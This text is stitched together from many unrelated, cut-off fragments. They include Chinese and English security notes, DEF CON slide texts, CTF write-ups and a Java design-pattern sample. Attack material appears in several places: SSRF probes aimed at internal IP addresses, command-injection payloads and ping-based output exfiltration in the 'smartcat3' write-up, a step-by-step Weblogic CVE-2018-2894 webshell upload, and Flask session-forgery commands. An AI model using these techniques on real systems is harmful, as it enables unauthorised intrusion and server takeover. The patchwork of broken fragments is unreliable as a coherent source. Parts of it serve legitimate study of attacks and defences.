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## 桥接Bridge ### Intent 将抽象与实现分离开来使它们可以独立变化 ### Class Diagram - Abstraction定义抽象类的接口 - Implementor定义实现类接口

 ### Implementation RemoteControl 表示遥控器指代 Abstraction TV 表示电视指代 Implementor 桥接模式将遥控器和电视分离开来从而可以独立改变遥控器或者电视的实现 ```java public abstract class TV { public abstract void on(); public abstract void off(); public abstract void tuneChannel(); } ``` ```java public class Sony extends TV { @Override public void on() { System.out.println("Sony.on()"); } @Override public void off() { System.out.println("Sony.off()"); } @Override public void tuneChannel() { System.out.println("Sony.tuneChannel()"); } } ``` ```java public class RCA extends TV { @Override public void on() { System.out.println("RCA.on()"); } @Override public void off() { System.out.println("RCA.off()"); } @Override public void tuneChannel() { System.out.println("RCA.tuneChannel()"); } } ``` ```java public abstract class RemoteControl { protected TV tv; public RemoteControl(TV tv) { this.tv = tv; } public abstract void on(); public abstract void off(); public abstract void tuneChannel(); } ``` ```java public class ConcreteRemoteControl1 extends RemoteControl { public ConcreteRemoteControl1(TV tv) { super(tv); } @Override public void on() { System.out.println("ConcreteRemoteControl1.on()"); tv.on(); } @Override public void off() { System.out.println("ConcreteRemoteControl1.off()"); tv.off(); } @Override public void tuneChannel() { System.out.println("ConcreteRemoteControl1.tuneChannel()"); tv.tuneChannel(); } } ``` ```java public class ConcreteRemoteControl2 extends RemoteControl { public ConcreteRemoteControl2(TV tv) { super(tv); } @Override public void on() { System.out.println("ConcreteRemoteControl2.on()"); tv.on(); } @Override public void off() { System.out.println("ConcreteRemoteControl2.off()"); tv.off(); } @Override public void tuneChannel() { System.out.println("Con


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## 一定义 SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞一般情况下SSRF攻击的目标是从外网无法访问的内部系统正是因为它是由服务端发起的所以它能够请求到与它相连而与外网隔离的内部系统 SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制比如从指定URL地址获取网页文本内容加载指定地址的图片下载等等注意除了http/https等方式可以造成ssrf类似tcp connect 方式也可以探测内网一些ip 的端口是否开发服务只不过危害比较小而已 ## 二SSRF 漏洞的寻找 ### SSRF寻找方式----WEB功能上寻找 1. 分享通过url 地址分享网页内容 http://share.v.t.qq.com/index.php?c=share&a=index&title=&url=http://www.baidu.com 通过目标URL地址获取了title标签和相关文本内容而如果在此功能中没有对目标地址的范围做过滤与限制则就存在着SSRF漏洞 2. 转码服务通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 由于手机屏幕大小的关系直接浏览网页内容的时候会造成许多不便因此有些公司提供了转码功能把网页内容通过相关手段转为适合手机屏幕浏览的样式例如百度腾讯搜狗等公司都有提供在线转码服务 3. 在线翻译通过URL地址翻译对应文本的内容例如有道词典UCQQ浏览器等 http://b2.wap.soso.com/sweb/detail.jsp?icfa=1327068&sid=AaEj1UgdrgdWthTwdJnvPeTI&g_ut=2&url=http://admin.soso.com 4. 图片加载与下载通过URL地址加载或下载图片 http://read.html5.qq.com/image?imageUrl=http://10.156.52.13/favicon.ico http://img.store.sogou.com/net/a/08/link?appid=100520033&url=http://10.12.139.10/favicon.ico 图片加载远程图片地址此功能用到的地方很多但大多都是比较隐秘比如在有些公司中的加载自家图片服务器上的图片用于展示此处可能会有人有疑问为什么加载图片服务器上的图片也会有问题直接使用img标签不就好了 没错是这样但是开发者为了有更好的用户体验通常对图片做些微小调整例如加水印压缩等所以就可能造成SSRF问题  5. 图片文章收藏功能 此处的图片文章收藏中的文章收藏就类似于功能一分享功能中获取URL地址中title以及文本的内容作为显示目的还是为了更好的用户体验而图片收藏就类似于功能四图片加载 6. 未公开的api实现以及其他扩展调用URL的功能 此处类似的功能有360提供的网站评分以及有些网站通过api获取远程地址xml文件来加载内容 http://visopen.vipshop.com/doc/sdk/php/aj_interface.php?api_name=e&api_url=http://内网WEB路径&callback=jQuery191011010590475052595_1432854159288&o=json&_=1432854159289 ### SSRF寻找方式----URL关键字中寻找 关键字sharewapurllinksrcsourcetargetu3gdisplaysourceURlimageURLdomain 利用google 语法加上这些关键字去寻找SSRF漏洞 http://share.renren.com/share/buttonshare.do?link=http://t.cn/RwbLKDx http://qing.blog.sina.com.cn/blog/controllers/share.php?url=10.210.75.3  ## 三SSRF 验证方式 1. 用抓包工具看请求由客户端发起还是服务端发起漏洞如果不是客户端发出的请求则有可能是接着找存在HTTP服务的内网地址 --从漏洞平台中的历史漏洞寻找泄漏的存在web应用内网地址 --通过二级域名暴力猜解工具模糊猜测内网地址 3. 直接返回的Bannertitlecontent等信息 3. 利用file协议 读取本地文件等 4. bool型SSRF 5. 关于盲打ssrf的用例可以在盲打后台用例中将当前准备请求的uri 和参数编码成base64这样盲打后台解码后就知道是哪台机器哪个cgi触发的请求 ## 四SSRF 绕过方式 1http://ww


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Hacking the Global Economy with GPUs or How I Learned to Stop Worrying and Love Bitcoin By Skunkworks -First time DEFCON speaker and attendee -Electrical Engineering Undergrad at a Major University -Hardware Geek with diverse interests -Not affiliated with Lockheed-Martin! -Not affiliated with Bitcoin! -Basic introduction with in-depth portion -This talk may have been updated! WHY was Bitcoin created?  High fees with current e-payment solutions  Paypal (and others) playing big brother  Increase in decentralized digital technologies, eg torrents WHAT is Bitcoin and WHO made it?  A decentralized Peer-to-Peer currency  No central authority  Transactions verified by peers  Over $100,000,000 US in value  Money printed by GPUs  Enigmatic developer Satoshi Nakamoto who left in 2010 The Economics of Bitcoin Hackers? In my Economy? It's more likely than you think!  Bitcoin is Fiat currency, just like USD  It has built in deflation, never more than 21,000,000 BTC  Can be traded down to 0.00000001BTC  Generated by GPUs (or ASICs?), backed by the marginal utility of a Semi-Anonymous virtual currency  Not a Ponzi Scheme, but the early adopters got rich  Price up over 200,000%, rampant speculation due to media coverage and novelty of currency type  Will likely find an equilibrium price due to many factors A chart is fine too...  $0.06 to $30 in a few months, this scale is logarithmic!  Who made big bucks? SHA-256, the block chain and GPUs  Bitcoin algorithm based on SHA-256  GPUs are hundreds of times faster than CPUs  Every transaction is hashed and becomes part of the block chain  Coins stored in a wallet.dat file  The entire network is many times more powerful than folding@home or the RIEKN supercomputer  Mining pooled to a large degree, fees are making top pool operators rich Attack Vector: Botnets and Bitcoin  These attacks rely on overwhelming the network with illegitimate clients or a lot of hashing power  Forking the block chain if you control over 50% of the net- work ha


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### 现实世界中常用的编码 现实世界中常用的编码包括条形码二维码等编码形式 ### 条形码介绍 - 宽度不等的多个黑条和空白按照一定的编码规则排列用以表达一组信息的图形标识符 - 国际标准 - EAN-13 商品标准13 位数字 - Code-3939 字符 - Code-128128 字符 - [条形码在线识别](https://online-barcode-reader.inliteresearch.com/) ### 二维码介绍 - 用某种特定几何图形按一定规律在平面分步的黑白相间的图形记录数据符号信息 - 堆叠式 / 行排式二维码Code 16 kCode 49PDF417 - 矩阵式二维码QR CODE


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PE格式详解 概述 PE文件的全称为Portable Executable是windows操作系统下可执行文件的一种文件格式符合 COFF标准(Common Object File Format:https://en.wikipedia.org/wiki/COFF)除了我们常见的exe文 件像windows下的动态链接库文件(.dll)内核驱动(.srv)控制面板文件(.cpl)等都属于PE文件 PE文件是一种数据结构里面包含了OS加载程序能够把它加载到内存中并运行的所需的信息 结构预览 一个典型的PE结构如下图所示 如果使用PEbear(https://github.com/hasherezade/pe-bear-releases)打开一个可执行文件我们能 够看到相同的结构 DOS Header 每个PE文件都以一个64字节的结构开头称为DOS Header它使得PE文件成为windows下的可执行 文件 DOS Stub 在DOS Header之后便是DOS Stub它是一个小的MS-DOS 2.0下面的可执行文件当文件以DOS模 式运行时会打印一串错误信息This program cannot be run in DOS mode NT Headers NT Header主要有下面几个部分组成 PE signature  将文件标识为PE文件的一个四字节的签名 File Header标准COFF头里面包含了一些有关PE文件的信息 Optional Header: NT Header中最重要的部分该头为系统加载提供信息 Section Table 跟在NT Header之后其为一个数组PE 文件中的每个节都有一个节标题每个标题都包含有关它所 引用的部分的信息 Sections 节是存储文件实际内容的地方包括程序使用的数据和资源等内容以及程序的实际代码有几个 节每个节都有自己的用途 下面是每个部分的详细介绍 DOS Header 结构 如前文所说其为一个64字节长度的结构其定义在winnt.h中名为IMAGE_DOS_HEADER 下面是一些比较重要部分的介绍 e_magic 它是DOS Header的第一个成员数据类型为WORD所以占2字节其拥有一个固定 的ASCII值0x5A4D或MZ其作用为将文件标识为可执行文件 e_lfanew它是DOS Header的最后一个成员位于DOS头的0x3c偏移处它保存了到NT Header的偏移量它告诉加载器去哪里寻找文件头 在PEbear下显示如下 typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header WORD e_magic; // Magic number WORD e_cblp; // Bytes on last page of file WORD e_cp; // Pages in file WORD e_crlc; // Relocations WORD e_cparhdr; // Size of header in paragraphs WORD e_minalloc; // Minimum extra paragraphs needed WORD e_maxalloc; // Maximum extra paragraphs needed WORD e_ss; // Initial (relative) SS value WORD e_sp; // Initial SP value WORD e_csum; // Checksum WORD e_ip; // Initial IP value WORD e_cs; // Initial (relative) CS value WORD e_lfarlc; // File address of relocation table WORD e_ovno; // Overlay number WORD e_res[4]; // Reserved words WORD e_oemid; // OEM identifier (for e_oeminfo) WORD e_oeminfo; // OEM information; e_oemid specific WORD e_res2[10]; // Reserved words LONG e_lfanew; // File address of new exe header } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER; 最后一个位置的成员的值为100100处就是NT Header的初始位置 DOS Stub 由上文可知该部分并无实际意义提取后如下 保存为exe文件使用IDA打开显示如下 0E 1


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--send-ip  -Pn -sn --disable-arp-ping --send-ip nmap- 0x00 -sL 0x01 -sn(-sP) 0x02 -Pn -PS22,80,113 -PS22-50 -PS -PA ping -M time ping -M mask 0x03 -PS 0x04 -PA 0x05 -PU 0x06 -PY 0x07 -PE; -PP; -PM (ICMP Ping Types)     0x08 -PO 0x09 0x10


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Discover Flash Player Zero-day A4acks In The Wild From Big Data Peter Pi @heisecode Agenda  Who am I  Background  Discover ﬂash 0-day a4acks from big set samples  Vector Length miGgaGon About me  Security researcher  APT product developer  Interested in discovering vulnerabiliGes and wriGng exploit.  Focus on Flash and Android recently. WAR3 & Ping Pong Hobbyist Found CVE-2015-0313 ﬂash 0-day a4ack CVE-2015-5122 & 5123 from hacked team Found some newly patched ﬂash a4ack My Blog address  h4p://blog.trendmicro.com/trendlabs- security-intelligence/author/peterpi/  Will publish some Android bugs I found. Agenda  Who am I  Background  Discover ﬂash 0-day a4acks from big set samples  Vector Length miGgaGon Flash Year  Because of browsers UAF miGgaGons and JAVA pop-up window, Flash Player became the weakest out of popular targets in PC. Flash Year  Finally, we can see that Zero-day a4acks targets are mostly Flash Player in 2015 > CVE-2015-0310 > CVE-2015-0311 > CVE-2015-0313 > CVE-2015-3043 > CVE-2015-3113 > CVE-2015-5119 > CVE-2015-5122 Flash Year  Newly patched N-day a4acks in Exploit Kits this year almost are based on Flash Player vulnerabiliGes. > CVE-2014-8439 > CVE-2014-9163 & CVE-2014-9162 > CVE-2015-0336 > CVE-2015-0359 > CVE-2015-3090 . . Flash Year  In this situaGon, I wanted to disclose Flash 0- day a4acks when tried to guess future perspecGve in late 2014.  Disclose newly patched n-day a4acks also has value to users. Background  Got tens of millions of suspicious SWFs in our Hadoop server, and thousands newly added every day.  I think this is a good resource to ﬁnd 0-day a4acks  So, this topic Gtles big data is a trick, and not related to data mining or machine learning J Agenda  Who am I  Background  Discover ﬂash 0-day a4acks from big set samples  Vector Length miGgaGon Problem I face  Big set samples to handle.  I need a automaGon process.  It can achieve very low False Alert rate, fast processing speed.  Final manual check only needs handle li4le Flash sam


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Be your own telephone company... ...with Asterisk! Presented by Strom Carlson and Black Ratchet DEFCON 13 July 2005 Brief history of telephone switching  Manual cordboards  Labor-intensive  Step / Panel / Crossbar  Electromechanical  Simple and effective, but limited in function  Expensive to maintain  No. 1 / 1AESS  Electronically-controlled analog switching  Much wider array of services available  More flexibility than electromechanical switches  Some still in use today in North America Brief history of telephone switching  4 ESS / 5 ESS / DMS  Digital time-division switching  Greatly increased flexibility and array of services  Much cheaper to maintain than previous systems  Huge and expensive Part I: Asterisk Overview (or... what the &$#%@ is this thing?) What is Asterisk?  Free, open-source PBX that runs on Linux  Best thing since sliced bread  Originally written by Mark Spencer  Now has a large number of contributors Why Asterisk?  It's FREEEEEEEEEEEEEEEEEEEE!!!!!!!  How much are you paying your PBX vendor now?  Runs on commodity PC hardware  Broad support for VoIP protocols and hardware  Easy to interconnect with other boxes  Form your own VoIP network  Configurable to do (almost) whatever you want  Tweak it to your needs  Write your own code  It will still not do your dishes, unfortunately Asterisk and Hardware Asterisk Hardware Requirements  Will run on surprisingly out-of-date hardware  133MHz Pentium I w/16MB RAM  supports 3 concurrent SIP calls before quality degrades  Any PC you have lying around will work  2.4 GHz P4 w/512 MB RAM  790 simultaneous calls http://www.voip-info.org/wiki-Asterisk+dimensioning Sample Asterisk Installation Asterisk Web Mail Catsex NAS Asterisk Console Popular VoIP Telephones Cisco 7960 $250-$300 Polycom IP600 $250-$300 Grandstream BudgeTone 100 $40-$75 Snom 190 $175-$250 Popular VoIP Terminal Adapters Digium IAXy $100 Sipura SPA-2002 $70 Grandstream HandyTone 286 $65 Cisco ATA-186 $50-$125 Digium Zaptel Cards  TDM400P  Connec


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Hacking the Mind: NLP and Inﬂuence by Mystic Goals for Talk Introduction to NLP Tools for using NLP to inﬂuence Gaining rapport Motivation strategies Submodalities Milton Model What is NLP? Neuro-Linguistic Programming Neuro: Our neurology and our ﬁve senses Linguistic: The language we use to describe our word and communicate with others Programming: The habitual and often sequential nature of our thoughts, feelings, and actions History of NLP Richard Bandler and John Grinder (1970s) Studied successful therapists (Fritz Perls, Virginia Satir, etc..) Observed patterns in their behaviors The Structure of Magic I and II Meta-Model History of NLP Met Dr. Milton H. Erickson Master of indirect hypnosis The Milton Model Proof that powerful skills can be duplicated History of NLP Presuppositions of NLP The map is not the territory Experience has a structure The mind and body are parts of the same system If one person can do something, anyone can learn to do it People already have all the resources they need You cannot NOT communicate The meaning of your communication is the response you get Underlying every behavior is a positive intention People are always making the best choice(s) available to them If what you are doing isn't working, do something else. Do anything else. Building Physical Rapport Mirroring and Matching Body position, posture, movement, rhythm, breathing Voice tone, speed, volume, rhythm Do not mimic Building Verbal Rapport Representational systems Visual, auditory, kinesthetic, olfactory (smell), gustatory (taste) People usualy prefer or lead with one or two Building Verbal Rapport Predicates Everything after and including the verb of a sentence Can help to determine the representational system being used Example: I can see what youre saying clearly Communicating with someone using the same rep. system they are using can help to gain rapport Visual Phrases: I see what you mean We see eye to eye The future looks Bright Auditory Phrases Loud and clear Unhea


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WMI 重写版 本文是以WMI的重写版本来这份笔记会更长原版的笔记以 Black Hat 2015的 Abusing Windows Management Instrumentation (WMI) to Build a Persistent, Asyncronous, and Fileless Backdoor为主要学习资料在笔记写到大概一万字的时候Typora 中保存的内容部分丢失 于是重新整理有了这份我认为精简版的WMI 笔记 WMI 背景 WMI 是什么Windows管理规范WMI是Microsoft对基于Web的业务管理标准WBEM公共信 息模型CIM和分布式管理任务组DMTF的实现 换句话说 Microsoft + CIM + WBEM +DMTF = WMI 打开MSDN 中关于WMI 的描述是这样 Windows Management Instrumentation (WMI) is the infrastructure for management data and operations on Windows-based operating systems Windows管理工具WMI是基于Windows操作系统的管理数据和操作的基础设施 快速的过一下这部分内容的重点 WMI 实际上的历史非常久远最早在Windows 2000中内置后面所有的Windows 系统中都内置 了该项服务 WMI使用 公共信息模型 (CIM) 表示托管组件其中包括 系统应用程序网络等等 CIM 中使用 Class"(类)表示管理对象类的实例是 Object名称空间Namespace是一个类 的集合类包含属性Property和方法Method) WMI 支持 Schema 的概念Schema 是描述特定管理环境的一组类Microsoft Windows SDK 中 使用了两个 Schema : CIM Schema 和 Win 32 Schema CIM Schema Class 使用 "CIM_" 开头 Win32 Schema Class 使用 "Win32_" 开头 和WMI交互 在开始WMI之前我建议 WmiExplorer 查看 自己机器上的 NamespacesClassProperty Method等等对我说的概念有一个简单的了解复杂你可能会看着很懵 为了验证上面我描述的一些内容我建议WmiExplorer 进行查看 可以注意到前面描述中的 NamespaceClassPropertiesMethods 实际上和WMI交互有多种方法 Powershell wmic.exe wbemtest.exe winrm.exe and winrm.vbs WMI Explorer WMI Explorer 2.0.0.2 WMI Explorer WMI Tools CIM Explorer 2020(收费但是非常强大对类进行了中文说明VBscriptpowershell 代 码简洁推荐) Windows Script Host LanguagesVBScript  JScript IWbem* COM API .NET System.Management classes Linuxwmic and wmis 另外两个小工具 WMI Code Creator 这是微软官方出的一款代码生成器可生成C#VB .net VB Script代码 WMIGen 可生成各种变成语言调用WMI 除了IWbem* COM API和.NET System.Management classes没有试过其余的工具均有测试推 荐使用WMI Explorer GUI界面非常好用 WMI Query Language (WQL) 参考 Querying with WQL WQL (SQL for WMI) WMI 查询语言WQL是ANSI SQL 的子集WQL支持以下的查询: Data queries Event queries Schema queries 详细的语法请参考文档这里不做过多介绍用的最多的是 data queries 请在实际查询中使用需 要明确的是WQL仅能查询无法使用 Methods 进行增删改等操作 Remote WMI Protocols WMI 可以使用两种协议用于 Remote WMI:分布式组件对象模型 (DCOM) 和 Windows 远程管理 (WinRM) DCOM Microsoft 在TCP 135 端口和一系列的动态端口不同版本不一样 运行DCE RPC end-point mapper为它的DCOM服务 端口可通过注册表项 HKEY_LOCAL_MACHINE\Software\Microsoft\Rpc\Inte


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# Brainers To Hire * Category: Web * 100 points ## Description > Layoffs are worldwide, but we're strong, have terrific customers, and have lots of money. > > So if you are unsatisfied with what you do, or you just like to be a millionaire upload your resume! ## Solution Didn't solve this one during the CTF, got the intended solution from the admin (). A website was attached. The interesting part was: ```html <div class="container"> <h1 class="banner_taital">Adventure</h1> <p class="banner_text"> Layoffs are worldwide, but we're strong, have terrific customers, and have lots of money.So if you are unsatisfied with what you do, every company meeting is a slippery slope.If your colleagues are not your cup of tea, or you just like to be a millionaire zip it and join us! </p> <form id="upload_form" name="upload_form" method="post" enctype="multipart/form-data"> <div class="read_bt"> <input type="file" name="uploaded_file" onchange="handle_file()" placeholder="resume.." id="uploaded_file"> </div> </form> <p class="banner_text" id="upload_status"></p> </div> ``` What we have here is a form to upload a file, and a clear hint towards `zip` files. In addition, we have: ```javascript var form = document.getElementById("upload_form"); function handle_file() { var status = document.getElementById("upload_status"); var data = new FormData(form); fetch(form.action, { method: form.method, body: data, headers: { 'Accept': 'application/json' } }).then(response => { response.json() .then((data)=>{ if (data.flag) status.innerHTML = data.flag; else status.innerHTML = "Thanks for your submission!" ; form.reset() }) }).catch(error => { status.innerHTML = "Oops! There was a problem submitting your form" }); return false; } ``` We can see that if we trigger the flow on the server side to reveal the flag, we'll get it back in the response to the form upload. For standard uploads, we get: ```console (user@kali)-[/media//2/3/4/5] $ curl -F "uploaded_file=@test.zip" 'https://brainerstohire.app


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Catching DNS tunnels with Catching DNS tunnels with IDS that doesnt suck A.I. IDS that doesnt suck A.I. A talk about Artificial Intelligence, A talk about Artificial Intelligence, geometry and malicious network geometry and malicious network traffic. traffic. Agenda Agenda Introduction Introduction Neural Network basics Neural Network basics DNS Tunnel Basics DNS Tunnel Basics Data mining DNS tunnels out of Data mining DNS tunnels out of network traffic with a Neural network traffic with a Neural Network. Network. Destination unknown Destination unknown Introduction Introduction The goal of the project was to The goal of the project was to reliably discover DNS tunnels out of reliably discover DNS tunnels out of network traffic. network traffic. Hopefully, youll learn a lot from it. If Hopefully, youll learn a lot from it. If nothing else, maybe it will inspire nothing else, maybe it will inspire someone to do something someone to do something interesting. interesting. A.I. A.I. When I say A.I., most people start When I say A.I., most people start thinking of a computer with thinking of a computer with personality or traits, movie or book personality or traits, movie or book computer characters, replacing their computer characters, replacing their spouse with a robot etc. spouse with a robot etc. Not really what *I* am talking about Not really what *I* am talking about when I say AI. How about a program when I say AI. How about a program that gets a computer to make a that gets a computer to make a difficult distinction or decision. difficult distinction or decision. Classification Classification Classification is one such distinction Classification is one such distinction or decision. or decision. So, lets get a more clear discussion So, lets get a more clear discussion of AI by talking about how we think. of AI by talking about how we think. Or how we think we think, we think. Or how we think we think, we think. Ugh. Ugh. Which is the apple, orange and Which is th


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# Weblogic 任意文件上传漏洞CVE-2018-2894 Oracle 7月更新中修复了Weblogic Web Service Test Page中一处任意文件上传漏洞Web Service Test Page 在生产模式下默认不开启所以该漏洞有一定限制 利用该漏洞可以上传任意jsp文件进而获取服务器权限 参考链接 - http://www.oracle.com/technetwork/security-advisory/cpujul2018-4258247.html - https://mp.weixin.qq.com/s/y5JGmM-aNaHcs_6P9a-gRQ - https://xz.aliyun.com/t/2458 ## 漏洞环境 执行如下命令启动weblogic 12.2.1.3 ``` docker compose up -d ``` 环境启动后访问`http://your-ip:7001/console`即可看到后台登录页面 执行`docker compose logs | grep password`可查看管理员密码管理员用户名为`weblogic` 登录后台页面点击`base_domain`的配置在高级中开启启用 Web 服务测试页选项 ![](img/1.png) ## 漏洞复现 访问`http://your-ip:7001/ws_utc/config.do`设置Work Home Dir为`/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css`我将目录设置为`ws_utc`应用的静态文件css目录访问这个目录是无需权限的这一点很重要 ![](img/2.png) 然后点击安全 -> 增加然后上传webshell ![](img/3.png) 上传后查看返回的数据包其中有时间戳 ![](img/4.png) 然后访问`http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]`即可执行webshell ![](img/5.png)


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Advanced Physical Security Beyond Dumpster Diving and Social Engineering or, Screw the Firewall and the Secretary Too Eric Schmiedl security.ericschmiedl.com We Want Information Information Information  You wont get it. By hook or by crook, we will  The Prisoner (1967) "Many of Russia's wealthiest banks and corporate tycoons have set up their own private security agencies, usually staffed with former KGB officers. Their task is to spy on their political and business enemies and to gather compromising material... ...the former KGB has fragmented into a multitude of private agencies that exploit their secret-police expertise for personal profit." Geoffrey York, The Globe and Mail, 7/8/00 "[US officials] say a record 108 nations were involved in trying to steal sensitive US technologies in 2005, the last year for which full data was available." James Kitfield, Air Force Magazine, March 2007 Blurring the line between industrial and government espionage Hacking for exploration -> Hacking to steal money/information Clever exploitation of technology -> Whatever gets the goods Computer crime as a business Weve seen an explosion of computer crime in the past few years, and Im not talking about people hacking the NSA so they listen in on Karl Roves cell phone. I mean the ﬂourishing industry in stolen credit card numbers. I mean people in Who-Knows-Where-istan using their botnets to wipe companies off the Web if they dont pay protection money. And above all, I mean identity theft -- people taking out lines of credit using stolen ﬁnancial information. The thing is, Ivan P. Malwarovski doesnt care about how he gets the information he needs to take people to the cleaners. It doesnt matter to him whether he pulled off a great end-run around the IDS or whether he paid his buddy the ex-KGB agent to break into their ofﬁce and plant a laptop in the dropped ceiling. Ivan makes his money no matter what. And what if he isnt in the identity theft business? Maybe he knows a Romanian commod


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Quantum Classification of Malware John Seymour (seymour1@umbc.edu) 2015-08-09 whoami  Ph.D. student at the University of Maryland, Baltimore County (UMBC)  Actively studying/researching infosec for about three years (mostly academic)  Currently work for CyberPoint International Outline  D-Wave Basics  The D-Wave Controversy  How to play around on a D-Wave  Some Machine Learning Background  Building a Quantum Malware Classifier https://blog.kaspersky.com/quantum-computers-and-the-end-of-security/ What you might have heard (and why its wrong)  FALSE: The D-Wave can solve NP-Complete problems in polynomial time.  PROBABLY FALSE: The current D-Wave chip is already better than classical computing for hard problems. The Current State of Affairs Quantum effects are happening but that might not be interesting We don't know whether the D-Wave uses quantum effects for computation. Regardless, it cannot run Shor's/Grovers/QKD. http://www.dwavesys.com/ http://www.nytimes.com/ http://www.nytimes.com/ http://www.dwavesys.com/ http://www.dwavesys.com/ http://www.dwavesys.com/ D-Wave chips consist of:  magnetized niobium loops  couplers http://www.dwavesys.com/ The D-Wave QUBO 𝑖 𝑎𝑖𝑞𝑖 + 𝑖,𝑖 𝑎𝑖𝑖𝑞𝑖𝑞𝑖 "Quadratic Unconstrained Binary Optimization" Input Output Theyve got a website. To do stuff on and stuff. System 6 System 13 One D-Wave Run Input Output Blackbox/QSage  Software, developed by D-Wave  Turns arbitrary problems into QUBOs  Heuristic-based (problem is NP-Complete)  Conversation between classical machine and D-Wave  Adds time from network latency Blackbox Python Code So what can D-Wave machines do? D-Wave claims applications: classification, protein-folding models, finding close-to- optimal solutions to NPC problems (e.g. Traveling Salesman) Crash Course in Machine Learning (At least whats relevant to this) Boosting - using combinations of weak classifiers  Consider 3 classifiers with 70% accuracy  Majority vote can increase your accuracy to 0.7838! (Hint: add up the top row)


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## smartcat3 (web) This task was another web ping utility, similar to one from the teaser. We were able to submit a text, which would then be passed to `ping` command, like so: `ping -c 1 OUR_TEXT`. This asks for shell command injection - it was not that easy though, since server filtered most metacharacters, such as `$&|` and others. Some special characters were allowed though - in particular, `<>()`. Using those, and bash's so called "process substitution" (which we found in `man bash`), we were able to execute commands like `ping -c 1 <(ls)`. Note that this did not give us any output on the web interface - the server returned only whether the command succeeded or not. First problem we had to deal with, was filtering of spaces. With `$` disallowed too, we were not able to use `${IFS}` or similar constructs, but we could still redirect any text to any file, for example: ``` <(python<<<"print'%c%c'%(108,115)">/tmp/p4Rocks) ``` This command, when used in process substitution context, should create file `/tmp/p4Rocks` with `ls` in it (from ASCII codes). Later, we could simply execute this script using `<(python</tmp/p4Rocks)`. We automatized this workflow in `doit.py`. Right now, we were able to execute arbitrary command on the server, but we still did not have a way to read their output. The description of task, as we read it (as it turned out, incorrectly, making our work harder), told us that all the ports on the server are closed. One of the ways to bypass this, is to use `ping` with payload - builting `ping` command has a nice feature: `-p pattern` makes a `ping` probe with selected pattern. If we `ping` ourselves with pattern equal to output of the executed command, we are able to sniff it, and receive it. Sample output, as seen in Wireshark, of `ls -al` (first 16 bytes): ![Output](wireshark.png) You can clearly see `-rw-r----- 1 roo`, meaning that the first file was owned by root and had `-rw-r-----` permissions. Trying the usual stuff, such as `ls -al /`, we f


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Evil DoS A*acks and Strong Defenses Sam Bowne and Ma*hew Prince DEF CON 21 August 2, 2013 Bio Bio Evil A*acks Sockstress New IPv6 RA Flood Sockstress TCP Handshake Images from drawingstep.com and us.123rf.com Client Server TCP Window Size 0 1 2 3 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Source Port | Destination Port | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Sequence Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Acknowledgment Number | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Data | |U|A|P|R|S|F| | | Offset| Reserved |R|C|S|S|Y|I| Window | | | |G|K|H|T|N|N| | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Checksum | Urgent Pointer | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | Options | Padding | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ | data | +-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+ TCP Header Format Sockstress A*ack Images from drawingstep.com and us.123rf.com Client Server From 2008  SPll not patched  A*acks TCP by sending a small WINDOW size  Causes sessions to hang up, consuming RAM  Can render servers unbootable Sockstress Demo MiPgaPon  Short-term  Block packets with small window sizes with a ﬁrewall  Long-term  PATCH OS to reclaim RAM  Its been 5 years, guys! IPv4 ExhausPon IPv4 ExhausPon One Year Le\ IPv6 ExhausPon Link-Local DoS IPv6 Router AdverPsements Old A*ack (from 2011) Image from forumlane.org IPv4: DHCP PULL process n Client requests an IP n Router provides one Host Router I need an IP Use this IP IPv6: Router AdverPsements PUSH process n Router announces its presence n Every client on the LAN creates an address and joins the network Host Router JOIN MY NETWORK Yes, SIR Router AdverPsement Packet RA Flood (from 2011) ﬂood_router6 Eﬀects of ﬂood_router6  Drives Windows to 100% CPU


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# flask --- ## 免责声明 `本文档仅供学习和研究使用,请勿使用文中的技术源码用于非法用途,任何人造成的任何负面影响,与本人无关.` --- ## session伪造 flask-session 的三部分为 json->zlib->base64 后的源字符串. 时间戳. hmac 签名信息 **相关文章** - [flask session伪造admin身份](https://blog.csdn.net/since_2020/article/details/119543172) **相关工具** - [noraj/flask-session-cookie-manager](https://github.com/noraj/flask-session-cookie-manager) ```bash python3 flask_session_cookie_manager3.py decode -s "thisiskey" -c "eyJ1c2VybmFtZSI6eyIgYiI6IllXUnRhVzQ9In19.YWfurA.sHD-E9MuX4QZJQ4cU07WYykbJZU" # 解密 python3 flask_session_cookie_manager3.py encode -s "thisiskey" -t "{'username': b'admin'}" # 加密 ``` **writeup** - [[HCTF 2018] admin](https://darkwing.moe/2019/11/04/HCTF-2018-admin/) - [BUUCTF N1BOOK [第一章 web入门]](https://blog.csdn.net/RABCDXB/article/details/115189884) --- ## flask-debug **简述** debug 模式需要验证 pin, 而 pin 并非真随机值, 根据机器上的参数可以计算出来 当然,如果目标配置了 `WERKZEUG_DEBUG_PIN=off` 那就不需要 pin 了 **相关文章** - [Flask渗透01debug模式中的RCE](https://anzu.link/pages/204626/) - [Flask RCE Debug Mode](http://ghostlulz.com/flask-rce-debug-mode/) - [Flask开启debug时PIN码的安全性问题](https://xz.aliyun.com/t/11036) - [Flask 